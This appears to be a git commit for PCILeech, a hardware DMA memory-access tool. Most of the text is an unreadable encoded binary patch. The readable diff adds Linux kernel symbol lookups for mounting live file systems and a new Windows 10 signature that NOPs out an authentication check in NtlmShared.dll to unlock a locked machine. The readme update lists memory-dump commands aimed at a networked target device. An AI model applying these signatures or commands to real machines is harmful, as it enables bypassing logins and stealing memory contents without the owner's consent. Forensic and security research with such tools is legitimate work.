zGd*v5j8z-|f;8JiiCH6#T;S?RxcHpMNwlQ~HV?!1GSrg`4= zFP>tS|BE*Syh`wbLG_5!6pPi|DW}Cz`;M@+NMVK+NgV{Wx6o3Zq4kjscX-aoQi9j- z3|{R6oON4lQ`x7Nm@2t$i?!@rv0_Ee4CElI!~(sRg^TlM z#-yca0ao3?o1_I;-IAB7%hlY$)8%Tx%kG4D3iNmrZTA|P>ei_oHMJrSJT+JmPwQfe zz-v+7dK;Qk1>QhO*Ob#*!rn5*5J6650b>b%BAb%E$`A z?>1-l+?*vbs97*12QRvrw_Nd94N?x$ZSj)DGh^a41uVNpF70g`CTn{eV{9tPT~xAr z8Ce^UmY4^bSkSYrt$x|Q8RmGbY+)D8K*I~M~qfOwjPkij4&}z9?ihb5QtO>*Fm@q z>|xzCx91 zYEy11`?T=$f|)s#v8i}su&JXmq$Lgs!&l^aHzurly0SU^A+u5 z9OYM~H?yaP?*gxY!c*=ouIFx8Cog!!>}l>d)-_EA7Bu~r(m_d)qd zRDQJ5aA7+;GIkixkJwOBFVhl-#JaJdyf|MLlw)Q=2|g_7ZF7bSAOnISp)SmGv1^?( zFOggQ6Dhaijg+XIEvyPvIsx5S4tBisH!jg|8hC|@hp?1;OWe{=NE;W{ng=o022-6O zUTE=aFO4m_&Ut|-aby>oS2mvN-p0wSO{N#iEOTLlid%P0yLq= zAy`KdD^D$Pi-1^2lne9aAxwKgEn?ZNpD}cBVK=PacgJ!Uw(L~mTjG#dSL9eEGAn`w z@lfW8oKhK9r7}#lhg0eWd>KLzhy3R}6i#4Y`B9~b76 zH+DTaBX7=x)8<-!5RK&>}uYCs7d zEE{j|1fDV#kOz7X6r<^iyT*GD{Bnvw$+W~R{qax_7J9{#h30{xNJCMip<@FZLZaQ7 z?;7t0&pP)S*D9?d+M2pNm57ii!Mu5ZQI)qf8gJU!jdi|eHnz)aZS>3WH@am88>>b# zb`ej4YT>HONeD73JQ(XWLlrO3$O5nU8r}B!85Qpqo*e28{*5n=3~u2O31|*nt{G@- zJE<8P8NQ;$TzZOlXIGPaH)G@RIJ=rVFm*=_a2I2nWty@4bD%MDVEH(#jWB%+yuAK8t8lXVdSr(u$r+v zFvu7g*o;x#^ahP~BmW*`?61{~Y!$9H24pbj*kpzNp*K!n=5b1mE1cyjxeyv_7VA8% zR{29k$nj#POiz~l6l2@)?808YdapaMmS3pWSWZ}qCwH*w`50o#yMw8FY!+hN-whFX zGXG2u=AVF`aje;@W#kn%W_^;eSMY@2rAOF|Wv3Klm@Uqg1>(MU_XhO(RnGB~v+}0C zAy^b{Wb7uM1zHd)Isf9R3YZfjMijva49|9o>fiXza4?)892?>|6)$A9CNenPsSIdXSF4bY~yKr}!VQM~HW zpze5|LiAO7XO@9dY7=Z^!BBJDast@S$8m!lo|P&x)yZA+Li6+2cri~vXQMGaz&&eh%}nDlnLqT&cZT3Hijj9WDMh###VJ+R?lpG zFfGR#Tu66U7RlQ?>mr6{-OcQ)jZ>I?oQV-tTN$%HhPQ>SOB)zXwa$wbZaLkA;(d-M zPVtco|HgOtV=hQ&3~tnm6%2k`x`lLeWf2K&{UUg{pPSV++l3NQQ;O-ZR^hI+@vB+D z*y#IE))ZMw90I#0Uwk$OJ&;zXw9326gRMeEow+YWWM)Q*fV@y7I$9(bGPVUz4TWBp+<2EyDkyY37$l72y67dAlXNWmeyGs-sJk$M(z?|D!GpHhLM8;pWWl`OF{gIg6jt8AW93U3 zTe1wLroz(tz5&M+&M!bd={(fcD~ZPxV-=q3TBN!_OMHhXl)@bWYneLm7|R)OM}*n{ zJXXYq#F(IX1q;28phjdy>1$mQZqs&4h!EvF7&AVN#xU5K(nz832|PuLhe-d8@9?7< z$~EXCIgx_h5uSWyI7Uvbb4HcZtD&b0`b;(IUVxj;{5)fm@%Y2YOvTd@hs2s#>jY2H zn!5=XtDbnR??rWY|4pyTVC%V?*P2;h!l;5LkHTt+LwZ6L&K$KbIw5^uG#|RJb%Sr6 zPYrGuvlvaCR07RysT$;s+?Tuy%LjONQ9#XDzF{Fn(8>`pMxof8L}uO>4-K{li!W#F z_FIfKkiV8VBvR?@9!)yCiZc$0=K*dkAkTvZK=})R@)t1Hw@yds%=J?}aal;5hA$~BJB={553TwfQ^PNy;K066y<9Vv z^F|m$wNlGYrZgl3yH%aU@h7X&RE;zt zo+Te+Yy%!Q*fDCn%pMvx9mniR@sJkf-V(R;qpf7j(8E(tEHXhJ7-@{M?eSoH za(vj^39Xp-Vp8Xn_MqPVjG2`p|Hod29tfLF^`0%UUI7A70rc`OY%2fOBKkaIZ{x{Q z{#00*{zBou@hqUQ6b@|3X!az}rBiR5oa`(Jw2NBouHdPr0Pe)dgM>R}LfYV?wcJfO zwQto|=u>4(lQUhJPft%>;Z1O1rAHY%f+xYEUQ~tU()nLZynPFykRStdo1rEQS`FPX z${5%uxefy}o|Rf4=mhidWO^eosPK2Vu@+eVFv{4ec`}K9Arcz6FG|If*@~IJhgO8= znhH~m#b+>U-G>nmymCBlFrHN45$v^KSGp87zR0u(6hURWkhR za~Ir+Nc}}T2d@osjW5Qz7fsPd!`G{Ip#g54+*k`dTh$-9G3QSx0_1)tMo#67 zX3ad=C&SonwCbr#;iRSSS|&^Wi?LzXp)rj_`c!+kGET!&z#FP~NV9TpiJSe%w=*yy zWgeXE#k!x$>iPkP*K>=bJCb7PTWrQ^!cL)4?#7whV0jK<1UhBj^yjR90B2hu(?3A^jWy1YImyQG z7>>&mU7>2JfSMj{nF=)s?M<~k+$v&hGcMQz%S3q4DFtIZ3-0OP;8$n1Y7JF2QWDn3 z%T~bN%;ynLZR(tiz(ZnOnP1Mc%rD^?Xf`{TzRV;qj5S889Jvi@^Hp;p3dfo9VO_9z ziRVS6T>a^@Va$jTr$1!XJ#$&K~2S)Gxd#pcvcc=l4HdcyRc$SE^81Gn+v`O%p$+-e*4wtvQd zy~G;GmEdu{gf4@Ku?VQbQ?K^=Ju#e($i!;;Gy0om;P<2!m>c0XShmVEMun-2P-``d zp(?gmv`+?K=4KkB{hX<+%H`}!Jdw}HCo+vaBme77Qs;6u0Z*T2~zFJ&KkaGvq7djori4tRVr7 zL0c&CLe;=x31+?ii_KQqFdo}`dnRBlgtw?&dad|Tw49p`>Pl~U;kk(Y8o;r*D)_2Zw zw!`VcPcXm5o*7(q0yFRp)fS0!=6i81XOH4>eO9j!zTue3W4H;25)i()c}DM)KLy$L z=QyjNINbF_#Ov-|Frr`JY&jm)&=n2o=FTE=_F+c+8H?Z_>qCpyYs(o~#(_3xz)OGN z><>I`oC(n~x)m}RnZ4NDpoSzRtCBhFNA!Gn&Nvf+-%sHAnK0!HB?@}?&zuGPf}EwW zc{r9V@`CW9fih~MaaL0zPF~~e8$3<9@n1Ox_ox34nT~Lu_gULlZ;*6 zRIMvljVpPgF-VS?WK0?B%$#iWpj+@bGl$ktGxXZ%gWBk=XVfERbU6RBgX`!e*jzjx zJu82nWQ=TTxwl(mE7~93^|LZ^vaye9mE$Mto#oQWdW(8uvawS)l{71o=8K~tf#~Q0 zd-^q)>sr-#Re5AP)3~IqV6WgoSiem+&Tfk1NC(0G!2|xhDaJ|dwXje-e6?nWiAztH zrYd~Ak6>N;3U>Fi@`ovUIy~;xhqLzg8ru$X##P*1ut)GX%SqSdnwpxGtEQIcjb`S> zLeNq}&;&yk2goPU_=BB+{61K)Gx(5&vsTFH3C3V~^j>33Q`$3A1bYV0yl17DY8*I8 zr5$w_U4~HUj@RG8<&JmgFiNlic$!+F_MW=Tzboe9F@n|MS^KQqFxA+$k27gc-YwW; zV+DJhD(ruisYixj(Rf^+l^3QOBin03^8eDx2V@FXh6m*zI?dQen;vE1Jwm#owey?o zj=cnJQwu7XD+HL_GR-)+DL)=vBv=KWv(L&)(~P}B+&Obclp#?j>^BrKeaTbPfd^(A zBSWk3b+xcn_=fFdy(4bMa%r})ZCJwtNIqoB$h`%YpJf}{K>tGu8nTTs-Q2YjMM*+E z2*FUQI?mR0zE#c~n+*+X5uQ%ZDJo}7H}+SxdB=2Pdrh6LK}cGw@xuk0o|ygSnzRX~ z*2S-ZTbLUQ%fsqo4rqca3+w5h;ofp94LXW5u1-%0)&q}(-XT~rp6us@ zMf;&e)E0{-*x7gfh3DXRxnMQf&Ad(juf6k+j-tHR`0Qp|(_>m!K?!Zd#YRc3)re7p zQe6cuL8As6G$`5?1Ex0WBGE>RceaWpl^?DZC05kU{=kr~W^GdvE0n!glvweaDr#Dy zZk0+ZD62+|7_pyc-{od{?z!jOo_o)^|CDncKF_@S&dfXS`_4O)dB3|uS{1Pl?T$1r z-!b$3+I{!LBmVg#jsN_S#((}uG(KL?J%6F6#M6D}HJ&#;8-kvU%boq>nl~4D zW)>_qfnWNGMNic~xNwiZV4Np%b3SxzY;b_kImU?WYlby17MKt+@*P!@S!BZ40!@a~ z@}tQIuaD;H?)Ei#e&BXBb>DfDXIz1u|9!0Vaz3P? z6$!g>n|0u|>|fBgG#ToN8ICSy?<7wd2Kd)Poo6Pb1O* z?+nFphUq9=Cs0X^vM=$QQ>f8XZBNeBvM{0#;J(wjN5ETW5W9;8XHzS17^$`tKDZBU zJ0JgDo|+<^HO^Qb#q|6Jl~api=q#Qr;l*iw^5bjZu?h!OsLQeNcjs^fc=0O?Dvfw& z7>zT;Mxi&eXK(~;NPGZ|CBN8(O7UrU+)N%Rk;fSeq!^*ItLQ_d+cH<6FbmGm7iUYkt=VZA=1U&sE{a;(Fhe!E^_6DiY}CXdco-u>VRr8a@LT z&o><{1m8fdY{yqm!H_y^2-<`Bg)CgVfS$_A5qR@LPC0E9Za~^u8YZtc-Z`PGiQwvM z7=Hbp92@ZE%$JIhMuu>__zY6IW2)WG&B2cevSH@W#Zyok?}ryH%01s$2YJHq zL6pXezeas{TV?=dSQrh!AV}~5%en;l={VxGs1_fD2V&90pRVQXpoYW;&~$tRDkx6( zjLzUV1YSJXbWC^8EwaB;2lwF zg(?0pJS5JbM7kGVh7`vjE?-CA!Y^OPDYuS=Y8Fy(;v?pIUk(={je5>N1qConZ0B~3 z{Nib-6+aq-z!yEaQFFCoPgh;yHz(Bu&pBOg8lFWyQa7-ItPNtC;e zz|VVgH9`G9%k>)-GLM{v7yRC=Py>I7v_c9V_MA!g!6)+GIY+O#`-*K`j;UU;3a!99 zr-?PET=G1fl#VI-o@f7cEcjTMj2hKrp&|$rVIUreBoNO+6{L&xFR&B57(#V;@yS0> za~!=h;z5xQt6rwVk}f`u`jyAV90;Qjx1uF{Anrh`@fo=9ReC-(GoKzsAi5-UnBpDhd&XpP)Lt^*ZM| z()sNSYfuQpC2vqrYC^mo4dBIJpkBOKnK9}94CntU7BodKPWv-sH(snmy?AjRO5(*p zK3!b(rWp;Lfe;Fi*n%oJ0P&2S901-Am;HqbWIJIvfc8wWsb0)gZ=0h@LH90(WRB7~ zKkuB+*F67`?=TcIWiHmEsd({6s2VTEQ2?KU+jev6;``v1h`^HzE*SF#ZA?MM6Ht{3 z4L?J5c!n*0dcl>ep+5K?kq&XT4C`Tg!xKAW)4wHXtNf#HO9{hhs0oW`kJYYBSaKz%5nByqM zYp&yLq$ZdSA4K(}r=aU=%m?9p@NCqK=k+Ak7f2%}fgyTvNp4;7TX}yxjCnaY^2edQ zf&a9F9=JzhWpUG?ynO01Mkx3aQl9Pb`opM3Ru00~P!gYkv-yTt555+zM9LqAe?;2m z08EUyd#vF=*ER2OGBWiJn)d?O?nwzfGSzH0e4W;0}l+L+>W7lvN-~AKia9PJK1Gji*#f`_#q0ip&`gy1+0za@xUW0 zO(BZmGNf&`z>&NcS4~km<9`@)%;~1u%V6vbPJ=gdYOq|E* zM|wM)UrlTZ)msnuqNSu~m39G>^LTOmg;X~MDuGQ%H79 zO}aQcKq1Ie8?dP=7F5#hu=Gmf#r>$1>b2$*N^q6STCI)3>IKG&HzKXu3|Ao?Oc*|y zPu~cqHZTs5N1TiFJaHZ@_yNsf^MMC*9U8_5Vdxq*gcpDGLz;%mWeDy@4Mf!JfmdD2 zk>cy&j_Vkd@B?smkh2ND1U`sVpa|T&h;e}QLAdG$wn-tv&^~psS*V0Z{Mf}~GsXb8 zbqVdy(f7hrs3kAH5_Te;(nG;O{P61AjBkLS{?s((2y9!%n9ug(@Vu6s zx2D90YXyg! z(EXzEMa(~0)AI}Bg1isHw~;P9gRtTyQ$v23+|IenM#Ybi3N#GsUp575g##$JGdS)Q z(ysv|&y-EkXi1D9ST3DAOt-yQRtf$a+cCZD0r{C6vRabTyp7Kq3E#T23pj(eNJ)iQp-Ymv4Sgiq&vFFbOWN%z5)U9`V0 zg&6*fH9b?@i?pFEoby-H_PpxEx(lT^f-pS%9XcVNSD#pOk!o%p{Mv5Xm2@v$hH~47 zFCpd0z%6??dh%@9W7CfBnh(UiXu5U`cfZF7$RCcp0>zrNms5*$UV~yaARU?bo4oIV zA7`l*@(jaozHe%-6gGZf4yFkXf5=fQ4=fs@5H{z!%nwnP4;ta)XdAu@eu&!fL-3@J z7?ik0tAMVLX-m>QuoS6Jh~qzTSrO7p;O$5ST?&hbjTgI-YK51*SoZt;r?%&fFV+#C z8ea@&Ayrp3yfyC!;f&9@Kv9S)c=&#*@=}@re)t77L;4V$>T>4>9C5MRZLKA}32rFh z%WwD|_$lF>m23yZgCB%1611)B!ghH5!EQ6v z0*i>S%aBLB6%FA-aN<|l83iqcuOn?g0|yVW2@txNjUM8*-u1ez5Izfw2;7tx|CJEE z2tEWG3Dqmci|3EyMfUg_SgY^&;l-)?t{>GazR7p~bot%`zd`7*4zdKUKEDcKF)2IeL5sW{>9!iCrwntUZB};>D{@G}YS(<0!x|EIxUX*}+CQWir*S zCWG6MnnQf7fv}Vse-;~^P7}Z`q)y7~jjV(G#+Sk;kP5UB7M)E$VEf`z$V1x? z!bi?=bA4g_--h{Yn%hc}X#{SV&Nl)$?|a~PW|&f!!_)u8ZI!d~RM?Jm%8C1ts@_zIOeQ?1AW@TR9 z#2+B}YJ{a1nsjk7QX!VWjY#W?S=5dfPpKge6kiD!qF%h+f|>X|+Mb0{xEuL6RrbIM zwPt5Nm_&Zk#qZ8Br;{JrNc|uLchpe`@(jQm=F&0oP4MJPP197shp(k@q(|VS>u7(K zy6igI8>uED@W|`wwPf+r!Q3d#eD2)yz}Ivu_qeuy+E4Z&k? z;v8p$Era83;U|blFNTYd9&R+H|{T<>kUuA#wq>DqS#b!a~nUHC-UbyflRO!iFI^maZV{9M~ub8!t zLMmJ(th}9(j&yMmQhF2o7^&^OOX;jgg%+3Oy|^v!!*|epXDoMH!)$0OoV4kqmD(E2O_3qYA@{6}WNY(3ur7YZww1V{zV>>FkoL&t#KTK8P)9~Dg@c}p=l~HJY zBS+u3>E~i2>gyjnc{nBNt0hVo^%W9%QQ!WM_t=;T`2|tmzSu?~M19LbnM8dhL0;6? z5#&Y1ILnLrMu5DizEfom z7hlbLQQ^78^eypXr2K^ATA{q>8EyBCw|JJj2&+5O<^^)O`(xb~%j-5+)YU`OeY)D;j$5OGLSUT1l%ftp_*%%*03Ucx2JXDPp z$I4>mF@LNoRu>Dzg0bdU3+qH!OY8K-`pr7=!gz7q7cY-j#;f8r@j$#G-W(6b!|~R5 zd)!JDSj@mMJ6PD}Z7XiGeQjlJfoMZC7;TP*qAk&Iv^5%uwntOZo@hGS8|{nsM>EmE zXf`?=wPJ<2V)$|esmv9nCRdn-Tya9V0=4Ffbl^Z#EORi!F^i&kbA>C*70(~9vMFI* zu8hH4DO+;oj8M{4yeFQH_s09;{qanEFrJMM$E`$R!kZ{g_!4D_@e^_b%aGg=&Oo7$UA3?(r)A9{%&224ht!-=e{L*u2WplhG*E@Qs z?|$lfI9^CCmr=u2)NTVc+mdKav?qEJy@~$BU}88?xUP6z*}Cqg4$ld^-XvR)`whl5 z8y@w{_xC-Pc`W;w)#>f@b(VMfJ8L=vox#pfXSg%cnd(e;_H|}Dvz^S+SXC6rig+Ww sNO{B`sfh$4!AL05U6b^j=sMKLMTU>tS)-TSRWK@`J$1LG{+?8PhgDBf^R~DB4qF0Z(a>%50 zx^i~7avyi)kz-@wPdn}^(5iRLRp>WRT)4wk^th{-92?t&JR6 zneGq&LmehdvuJZDbRYBSouiU4*^foO9^!=@6$y{d5EX&2aEKp3J~jUD+x^nD`-4yS zLsy_JCEdr3-yVFx)BVAN`IBXiN~ zL`8#t8@Gq`iBgp=XD*wiT(J6IhU8a%pVR02G@b5s&MnvWB@R2AU`YG*J|2qq7LmSdgs-#s^+s Qm>j?=!MJ5}ChG|%0G@ch`~Uy| delta 456 zcmaDTuu;I)T=;l*v1iN$LfGbSrC8cb~E7jO)540Q~14EN~G z=;C6z{LO>; zmy2bIN~RD*vTw}F|D%n^7zBXcvVLFG zvV+xup~0g&MkTAddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, i)) { return FALSE; } + // optional lookup 1#: (due to kernel version differences) pfn2->iterate_dir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'i', 't', 'e', 'r', 'a', 't', 'e', '_', 'd', 'i', 'r', 0 })); pfn2->vfs_readdir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 'd', 'i', 'r', 0 })); + if(!pfn2->iterate_dir_opt && !pfn2->vfs_readdir_opt) { return FALSE; } + // optional lookup 2#: + pfn2->vfs_stat_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 })); + pfn2->vfs_statx_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 'x', 0 })); + if(!pfn2->vfs_stat_opt && !pfn2->vfs_statx_opt) { return FALSE; } return TRUE; } @@ -190,7 +224,8 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop) { QWORD i, o, p, cfi, result; CHAR sz[2 * MAX_PATH]; - struct kstat kstat; + struct kstat_4_10 kstat_4_10; + struct kstat_4_11 kstat_4_11; PVFS_RESULT_FILEINFO pfi; cfi = pk->dataOutExtraLength / sizeof(VFS_RESULT_FILEINFO); for(o = 0; o < MAX_PATH; o++) { @@ -208,12 +243,22 @@ VOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop) sz[o + i] = (CHAR)pfi->wszFileName[i]; } sz[o + i] = 0; - result = SysVCall(pfn2->vfs_stat, sz, &kstat); - if(0 == result) { - pfi->cb = kstat.size; - pfi->tAccessOpt = UnixToWindowsFiletime(kstat.atime.tv_sec); - pfi->tCreateOpt = UnixToWindowsFiletime(kstat.ctime.tv_sec); - pfi->tModifyOpt = UnixToWindowsFiletime(kstat.mtime.tv_sec); + if(pfn2->vfs_statx_opt) { // 4.11 kernels and later. + result = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS); + if(0 == result) { + pfi->cb = kstat_4_11.size; + pfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_11.atime.tv_sec); + pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_11.ctime.tv_sec); + pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_11.mtime.tv_sec); + } + } else { // 4.10 kernels and earlier. + result = SysVCall(pfn2->vfs_stat_opt, sz, &kstat_4_10); + if(0 == result) { + pfi->cb = kstat_4_10.size; + pfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_10.atime.tv_sec); + pfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_10.ctime.tv_sec); + pfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_10.mtime.tv_sec); + } } if(0 == (p % 50)) { SysVCall(pfn2->yield); } // yield at intervals to avoid problems... } diff --git a/pcileech_shellcode/wx64_unlock.c b/pcileech_shellcode/wx64_unlock.c index 751847b..93cb37d 100644 --- a/pcileech_shellcode/wx64_unlock.c +++ b/pcileech_shellcode/wx64_unlock.c @@ -129,7 +129,7 @@ NTSTATUS Unlock_FindAndPatch(_In_ PKERNEL_FUNCTIONS2 fnk2, _Inout_ PBYTE pbPages return E_FAIL; } -#define NUMBER_OF_SIGNATURES 7 +#define NUMBER_OF_SIGNATURES 8 NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = { @@ -167,6 +167,11 @@ NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { .cbOffset = 0x615,.cb = 4,.pb = { 0xff, 0x15, 0xc5, 0x1c } }, { .cbOffset = 0x61e,.cb = 4,.pb = { 0x0f, 0x85, 0x2e, 0xfb } }, { .cbOffset = 0x61e,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + {.chunk = { // win10x64 NtlmShared.dll (2017-09-29::10.0.16299.15) + { .cbOffset = 0x615,.cb = 4,.pb = { 0xff, 0x15, 0xd5, 0x1c } }, + { .cbOffset = 0x61e,.cb = 4,.pb = { 0x0f, 0x85, 0x2e, 0xfb } }, + { .cbOffset = 0x61e,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } } }; KERNEL_FUNCTIONS2 fnk2; diff --git a/readme.md b/readme.md index 68f9bb2..6800729 100644 --- a/readme.md +++ b/readme.md @@ -49,9 +49,16 @@ PCILeech on Linux must be run as root. PCILeech also requires libusb. Libusb is #### Android: Separate instructions for [Android](Android.md). -Hardware (FPGA): +Hardware: ================= -Please check out the [PCILeech FPGA project](https://github.com/ufrisk/pcileech-fpga/) for information about supported FPGA based hardware. +PCILeech supports multiple hardware devices. Please check out the [PCILeech FPGA project](https://github.com/ufrisk/pcileech-fpga/) for information about supported FPGA based hardware. Please find a device comparision table below. More information about USB3380 devices are also found below. + +| Device | Type | Interface | Speed | 64-bit memory access | PCIe TLP access | +| ----------- | ------- | --------- | ------- | -------------------- | --------------- | +| USB3380-EVB | USB3380 | USB3 | 150MB/s | No (via KMD only) | No | +| PP3380 | USB3380 | USB3 | 150MB/s | No (via KMD only) | No | +| SP605/FT601 | FPGA | USB3 | 85MB/s | Yes | Yes | +| SP605/TCP | FPGA | TCP/IP | 100kB/s | Yes | Yes | Hardware (USB3380): ================= @@ -146,8 +153,8 @@ Probe/Enumerate the memory of the target system for readable memory pages and ma Dump all memory between addresses min and max, don't stop on failed pages. Native access to 64-bit memory is only supported on FPGA hardware. * ` pcileech.exe dump -min 0x0 -max 0x21e5fffff -force ` -Force the usage of a specific device (instead of default auto detecting it). -* ` pcileech.exe pagedisplay -min 0x1000 -device usb3380 ` +Force the usage of a specific device (instead of default auto detecting it). The sp605_tcp device is not auto detected. +* ` pcileech.exe pagedisplay -min 0x1000 -device sp605_tcp -device-addr 192.168.1.2 ` Generating Signatures: ====================== @@ -159,10 +166,9 @@ Limitations/Known Issues: * Does not work if the OS uses the IOMMU/VT-d. This is the default on macOS (unless disabled in recovery mode). Windows 10 with Virtualization based security features enabled does not work fully - this is however not the default setting in Windows 10 or Linux. * Some Linux kernels does not work. Sometimes a required symbol is not exported in the kernel and PCILeech fails. * Linux based on the 4.8 kernel and later might not work with the USB3380 hardware. As an alternative, if target root access exists, compile and insert .ko (pcileech_kmd/linux). If the system is EFI booted an alternative signature exists. -* Windows Vista: some shellcode modules such as wx64_pscmd does not work. * Windows 7: signatures are not published. * The Linux/Android versions of PCILeech dumps memory slightly slower than the Windows version. Mount target file system and live RAM are also not availabe in the Linux/Android versions. -* FPGA support currently only exists if PCILeech is run on Windows. Linux and Android support is planned for the future. +* FPGA support for the SP605/FT601 device only exists for Windows. Linux and Android support is planned for the future. Building: ========= @@ -203,3 +209,10 @@ v2.2 v2.3 * [FPGA hardware support (SP605/FT601)](https://github.com/ufrisk/pcileech-fpga). * Various changes. + +v2.4 +* Support for FPGA SP605/TCP added by [Dmytro Oleksiuk](https://github.com/Cr4sh). +* Signature updates for various Windows versions including "fall creators update". +* Linux file system mount support for kernel version 4.11 later. +* Improved memory reading algorithm for FPGA devices. +* Various bug fixes.